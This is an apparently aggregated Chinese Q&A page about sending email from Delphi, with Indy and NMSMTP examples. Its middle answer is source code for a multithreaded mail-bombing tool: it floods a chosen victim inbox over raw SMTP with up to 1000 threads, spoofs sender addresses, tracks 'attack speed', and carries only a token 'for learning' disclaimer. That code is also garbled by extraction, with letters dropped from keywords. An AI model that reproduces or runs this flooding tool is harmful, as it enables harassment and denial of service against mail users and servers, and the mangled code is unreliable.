首页系统delphi 发邮件(delphi发邮件怎么实现)

delphi 发邮件(delphi发邮件怎么实现)

编程之家2024-05-11102次浏览

一、delphi发送邮件出错,在发送的时候抛出异常

提示如下:

delphi 发邮件(delphi发邮件怎么实现)

1、IdSMTP....:= atLogin这句代码出错的原因

由于不知道具体的错误提示信息,据个人估计,可能你使用 indy版本与代码的版本是不一样,例如,在 Indy 10版本中,上面的代码就是错误的:

在 indy10里,IdSMTP控件没有 AuthenticationType属性,也没有 atLogin值,上面的代码一般是:

IdSMTP1.AuthType:=satDefault;

2、关于 QQ的SMTP

① QQ电子信箱的 SMTP要使用的话,需要开启 SMTP功能,并且这个SMTP使用时是使用独立密码什么的。

② QQ电子信箱的 SMTP使用 465和 587为端口,而不是通常的 25。

delphi 发邮件(delphi发邮件怎么实现)

③登录的邮箱用户名,貌似是不需要后面的@qq.com

3、QQ邮箱没测试过,以下是163邮箱发送成功的代码(使用 indy 10):

procedureTForm1.Button1Click(Sender:TObject);

begin

try

IdSMTP1.AuthType:=satDefault;

delphi 发邮件(delphi发邮件怎么实现)

IdSMTP1.Host:='smtp.163.com';

IdSMTP1.Port:=25;

IdSMTP1.Username:='edtUser.Text';

IdSMTP1.Password:='edtPassword.Text';

IdSMTP1.Connect;

except

Showmessage('连接失败,请重试!');

Exit;//连接失败的话退出该执行过程

end;

IdMessage1.ContentType:='text/html';

IdMessage1.Body.Add(mmoContent.Lines.Text);

IdMessage1.From.address:='ttttttt@163.com';//发件人地址

IdMessage1.Recipients.EMailAddresses:='1111111@qq.com';//收信人地址

IdMessage1.Subject:='edtSubject.Text';//邮件标题

try

try

ifIdSMTP1.Authenticatethen//验证

begin

IdSMTP1.Send(IdMessage1);

Showmessage('发送成功,恭喜!');

end;

except

raiseException.Create('认证失败,请检查用户名或密码是否正确');

end;

finally

IdSMTP1.Disconnect();

end;

end;

二、怎样用delphi编写一个在线发送邮件的程序

use

windows,messages,winsock,sysutil

{$R*.

RES

const

CRLF

=#13#10

exename:pchar='邮箱信使'

var

thd:array[1..1000] of integer

tid:array[1..1000] of dword

faint,hMutex,mcount,speed,newtime,oldtime,

um

,count,err:integer

:string

uf:array[0..1024] of char

dest:string

attstart:boolea

//----------------------

wClass: TWndClass;//窗口类变量

Msg:TMSG;//消息变量

hInst,//程序实例

Handle,//主窗口句柄

hFont,//字体句柄

//----------------

hBut

to

Start,//开始按钮

hBut

to

to

,//停止按钮

hButtonHelp,//帮助按钮

hButtonExit,//退出按钮

hEditE

mail

,//e-

mail

编辑

hEditCount,//次数编辑

hEditThread,//线程数编辑

hLabelE

mail

,//e-mail提示

hLabelCount,//次数提示

hLabelThread,//线程数提示

hLabelInfo//领息提示

:integer;//句柄类型

//--------------------

//往一个窗口写标题

rocedure WriteCaption(hwnd:hwnd;text:pchar);begin sendmessage(hwnd,WM_SETTEXT,0,integer(text));end

//从一个窗口读标题

rocedure ReadCaption(hwnd:hwnd;text:pchar);begin sendmessage(hwnd,WM_GETTEXT,400,integer(text));end

//以下是网络连接的过程

function StartNet(host:string;port:integer):integer

var

wsa

data

:twsa

data

fsocket:integer

SockAddrIn:TSockAddrI

err:integer

egi

//为网络连接作好准备(用winsock1.1以上版本)

err:=WSAStartup($0101,WSA

Data

//创建一个客户端套接字(

Client

Socket,用SOCK_STREAM,即

TCP

协义)

FSocket:= socket(PF_INET, SOCK_STREAM,IPPROTO_IP)

//初始化网络数据

SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(host))

SockAddrIn.sin_family:= PF_INET

SockAddrIn.sin_port:=htons(port)

//客户端向smtp进行连接

repeat

err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn))

until err=0

//

Re

ult:=FSocket

end

//以下是网络关闭的过程

rocedure StopNet(Fsocket:integer)

var

err:integer

egi

//发信结束,关闭客户端套接字(Close

Client

Socket)

err:=closesocket(FSocket)

//清除网络参数

err:=WSACleanu

end

//下面是个发送数据包的过程

function SendData(FSocket:integer;SendStr:string):integer

const

MaxSize=1024

var

DataBuf:array[0..MaxSize] of char

err:integer

egi

//读取网络数据

err:=recv(FSocket,DataBuf,MaxSize,0)

//将网络数据写入主窗口的标题中,提示用户正在发信过程中

//WriteCaption(handle,DataBuf)

//向网络发送数据

trcopy(DataBuf,pchar(SendStr))

err:=send(FSocket,DataBuf,strlen(DataBuf),MSG_DONTROUTE)

Re

ult:=0

end

//下面是个发信的过程

rocedure SendMail

var SendBody:string

FSocket:integer

egi

repeat

//指定smtp主机地址,这里用的是smtp.21cn.com,它的ip为(202.104.32.230)

//指定smtp主机的发信端口,默认为25

FSocket:=StartNet('202.104.32.230',25)

//-------下面是发信过程的各步处理-------

//---------------------------------------

//第一步:发HELO指令,表示我要开始发信了

SendData(FSocket,'HELO'+

CRLF

//第二步:发MAIL

FROM

指令,表示发信人的信箱

//注意现在很多SMTP主机有只能允许本地合法用户发信

//所以发信者的信箱在发信主机中应是一个合法用户

//否则无法发信,比如hack001便是smtp.21cn.com中的一个合法用户

SendData(FSocket,'MAIL

FROM

:<'+

CRLF

">hack001@21cn.com>'+CRLF)

//第三步:发RCPT TO指令,表示目标用户的邮箱,就是你要攻击者的邮箱

//这一步可以用多个RCPT TO命令指向同一个目标,可以极大的加快攻击速度

//但对163.net好象不行,他加了过滤机制

SendData(FSocket,'RCPT TO:<'+dest+'>'+CRLF)

//第四步:发DATA指令,表示要向SMTP主机发数据

SendData(FSocket,'DATA'+CRLF)

//第五步:发具体数据,包括如下内容(信封和信体):

//

From

:表示发信者的地址,可以是假的用户(可以随机产生),后面以CRLF(即回车换行符)结束

//TO:表示收信者的地址,可以是假的用户(可以随机产生),后面以CRLF结束

//Subject:表示邮件主题,后面以CRLF结束

//后面一定要再加一个CRLF,表示信封部分结束了

//接下来是信的主体内容,可以是任何内容,后面以CRLF结束

//然后一定要再加一个.符号,表示信体结束,后面以CRLF结束

SendBody:='From:"bome 2001"<'+CRLF">bome@hacker.com>'+CRLF

+'To:"bome 2001"<'+CRLF">bome@hacker.com>'+CRLF

+'Subject:New Bome 2001.'+CRLF

+CRLF

+'Hello World.'+CRLF

+'.'+CRLF

SendData(FSocket,SendBody)

//第六步:发结QUIT指令,表示发信过程结束

SendData(FSocket,'QUIT'+CRLF)

//

waitforsingleobject(hMutex,INFINITE)

//显示发信过程的剩余邮件数目

WriteCaption(hLabelInfo,pchar('送出'+inttostr(mcount)+'封邮件/'+'还有'+inttostr(count)+'封邮件'+CRLF+

'正在使用:'+inttostr(num)+'个攻击线程'+CRLF+

'经过时间:'+inttostr(newtime div 1000)+'秒'))

//总次数减一

Dec(count)

//调用发信过程,进行发信

ewtime:=integer(gettickcount())-oldtime

eed:=mcount*1000*60 div newtime

WriteCaption(handle,pchar('攻击速度:'+inttostr(speed)+'封/分钟'))

inc(mcount)

//sleep(300)

if count<=0 then break

releasemutex(hMutex)

//

StopNet(Fsocket)

until count<=0

end

//------------------------------------

//以下是线程创建时调用的线程函数

function fun(Parameter: Pointer): Integer; stdcall

egi

SendMail

WriteCaption(handle,exename)

WriteCaption(hLabelInfo,pchar('发送结束'))

attstart:=true

result:=0

end

rocedure ButtonStart

var k:integer

egi

if attstart=true the

egi

attstart:=false

WriteCaption(hLabelInfo,pchar('发送开始........'))

ReadCaption(hEditEmail,sbuf);dest:=strpas(sbuf)

ReadCaption(hEditCount,sbuf);count:=strtoint(strpas(sbuf))

ReadCaption(hEditThread,sbuf);Num:=strtoint(strpas(sbuf))

oldtime:=gettickcount()

mcount:=0

if Num>1000 then Num:=1000

for k:=1 to Num do

thd[k]:=createthread(nil,0,@fun,nil,0,tid[k])

end

end

rocedure ButtonSto

var k:integer

egi

for k:=1 to Num do

TerminateThread(thd[k],0)

WriteCaption(handle,exename)

WriteCaption(hLabelInfo,pchar('发送结束'))

attstart:=true

count:=0

end

rocedure MainCreate

egi

attstart:=true

hMutex:=createmutex(nil,true,'Bome2001')

releasemutex(hMutex)

end

rocedure ButtonHel

egi

1:='本软件只用学习用,不可害人'+CRLF+

'程序使用多线程100个线程,发送速度极快!'+CRLF;

messagebox(handle,pchar(s1),'帮助',0)

end

//主程序结束

rocedure ShutDow

egi

CloseHandle(hMutex)

//删除字体对象

DeleteObject(hFont)

//取消窗口类的注册

UnRegisterClass(wClass.lpszClassName,hInst)

//结束主进程

ExitProcess(hInst)

end

//这是主窗口的消息处理函数

function WindowProc(hWnd,Msg,wParam,lParam:integer):Longint; stdcall

egi

Result:=DefWindowProc(hWnd,Msg,wParam,lParam)

case Msg of

WM_COMMAND:

if lParam=hButtonStart then ButtonStart

else if lParam=hButtonStop then ButtonSto

else if lParam=hButtonHelp then ButtonHel

else if lParam=hButtonExit then ShutDow

WM_CREATE:MainCreate

WM_DESTROY: ShutDow

end

end

//定义几个窗口创建函数

functio

CreateButton(name:pchar;x1,y1,x2,y2:integer):hwnd;begi

Result:=CreateWindow('Button',name,WS_VISIBLE or WS_CHILD or BS_PUSHLIKE

or BS_TEXT,x1,y1,x2,y2,Handle,0,hInst,nil);end

functio

CreateEdit(name:pchar;x1,y1,x2,y2:integer):hwnd;begi

Result:=CreateWindowEx(WS_EX_CLIENTEDGE,'Edit',name,WS_VISIBLE or

WS_CHILD or ES_LEFT or

ES_AUTOHSCROLL,x1,y1,x2,y2,Handle,0,hInst,nil);end

functio

CreateLabel(name:pchar;x1,y1,x2,y2:integer):hwnd;begi

Result:=CreateWindow('Static',name,WS_VISIBLE or WS_CHILD or

SS_LEFT,x1,y1,x2,y2,Handle,0,hInst,nil);end

function CreateMain(name:pchar;x1,y1,x2,y2:integer):hwnd

egi

//取得应用程序实例句柄

hInst:=GetModuleHandle(nil)

//初使化窗口类的信息

with wClass do

egi

Style:= CS_PARENTDC

hIcon:= LoadIcon(hInst,'MAINICON')

lpfnWndProc:=@WindowProc

hInstance:= hInst

hbrBackground:= COLOR_BTNFACE+1

lpszClassName:='MainClass'

hCursor:= LoadCursor(0,IDC_ARROW)

end

//注册窗口类

RegisterClass(wClass)

//建立主窗口

Result:=CreateWindow(wClass.lpszClassName,name,WS_OVERLAPPEDWINDOW or WS_VISIBLE,x1,y1,x2,y2,0,0,hInst,nil)

end

//---------主过程,类似于 C语言中的 WinMain()

egi

//建立主窗口

handle:=CreateMain(exename,10,10,320,135)

//建立四个控制按钮

hButtonStart:=CreateButton('发送攻击',240,4+26*0,70,24)

hButtonStop:=CreateButton('停止发送',240,4+26*1,70,24)

hButtonHelp:=CreateButton('帮助',240,4+26*2,70,24)

hButtonExit:=CreateButton('退出',240,4+26*3,70,24)

//建立两个编辑框

hEditEmail:=CreateEdit(bome@hacker.com',60,4,174,20">'bome@hacker.com',60,4,174,20)

hEditCount:=CreateEdit('1000',60,4+26*1,60,20)

hEditThread:=CreateEdit('10',193,4+26*1,41,20)

//建立三个标签

hLabelEmail:=CreateLabel('发送目标:',4,8,54,24)

hLabelCount:=CreateLabel('发送次数:',4,8+26*1,54,24)

hLabelThread:=CreateLabel('线程数:',124,8+26*1,66,24)

hLabelInfo:=CreateLabel('等候命令.....',4,8+26*2,220,44)

//创建字体对象

hFont:=CreateFont(-12,0,0,0,0,0,0,0,GB2312_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH

or FF_DONTCARE,'宋体')

//改变字体

SendMessage(hButtonStart,WM_SETFONT,hFont,0)

SendMessage(hButtonStop,WM_SETFONT,hFont,0)

SendMessage(hButtonHelp,WM_SETFONT,hFont,0)

SendMessage(hButtonExit,WM_SETFONT,hFont,0)

SendMessage(hEditEmail,WM_SETFONT,hFont,0)

SendMessage(hEditCount,WM_SETFONT,hFont,0)

SendMessage(hEditThread,WM_SETFONT,hFont,0)

SendMessage(hLabelEmail,WM_SETFONT,hFont,0)

SendMessage(hLabelCount,WM_SETFONT,hFont,0)

SendMessage(hLabelThread,WM_SETFONT,hFont,0)

SendMessage(hLabelInfo,WM_SETFONT,hFont,0)

//进入消息循环

while(GetMessage(Msg,Handle,0,0))do

egi

TranslateMessage(Msg)

DispatchMessage(Msg)

end

end.

三、怎样用delphi实现给指定邮箱发信息

你可以使用控件NMSMTP来发送电子邮件,以下是示例代码:

procedure TfrmSendMail.btnSendClick(Sender:Tobject);

begin

if edtAdress.text=’’ then

exit;

if edtport.text=’’ then

exit;

if edtSendusertext=’’ then

exit;

if edtReceiver.text=’’ then

exit;

NMSMTP1.host:=edtAdress.text;

NMSMTP1.port:=strtoint(edPort.text);

NMSMTP1.UserId:=edtSenduser.text;

NMSMTP1.conncet;

end;

procedure TfrmSendMail. NMSMTP1 ConnectionFailed(Sender:Tobject);

begin

showmessage(‘连接失败’);

end;

procedure TfrmSendMail. NMSMTP1 Connection(Sender:Tobject);

begin

sendmessage(Handle,WM_LOGIN,0,0);//自定义消息息传送。产生WM_LOGIN事件

end;

procedure TfrmSendMail. WMLOGIN(var MSG:TWM);//处理自定义消息

begin

//这里发送邮件。

NMSmTP1.postmessage.fromadress:=edtuserMail.text;

NMSmTP1.postmessage.fromname:=edtsenderuser.text;

NMSmTP1.postmessage.subject:=edtsubject.text;

NMSmTP1.postmessage.toadress.add(edtreceiver.text);

NMSmTP1.postmessage.attachments.addstrings(listbox1.items);

NMSmTP1.postmessage.body.assign(memo1.lines);

NMSMTP1.SENDMAIL;

NMSMTP1.DISCONNCET;

end;

以下是有关的NMSMTP资料:

属性

1、 ClearParams属性

为真时,邮件发送完毕会把PostMessage属性的值清空

2、 EncodeType

指定邮件编码方式。uuMIME—MIME编码;unCode---UUEncoding编码

3、 FinalHeader

指定最后的消息头标。

4、Host

SMTP服务器的主机名或IP地址。

5、LocalIP

返回客户机的IP地址,若有多个只返回一个。

6、Port

指定服务器的端口

7、PostMessage

是一个类,存储要发送的邮件信息。具体如下:

l FromName:发件人名称

l FromAdress:发件人email地址。

l ReplayToAdress:回复地址

l Orgranization:发件人所在地址。

l LocalProgram:发件人所用的客户程序

l ToAdress:是Tstringlist对象,收件人的接收地址。

l ToCC: Tstringlist对象,抄送的email地址。

l ToBCC: Tstringlist对象,密送的email地址。

l Attachments: Tstringlist对象,指定的附件。

l Body: Tstringlist对象,邮件正文。

l Subject:邮件主题。

l Date:邮件发送日期,为空指当前日期。

9、 ReplayNumber

只读属性,返回smtp服务器响应应答信息。

10、status

当前状态信息。

11、Timeout

毫秒级别的单位,如果规定时间Socket没有响应,触发异常。

12、TransactionReply

返回上一次命令的执行结果。

13、UserID

指定的用户名。

如何设置宽带连接(如何设置宽带连接)c语言随机数生成 c语言产生1到10之间随机数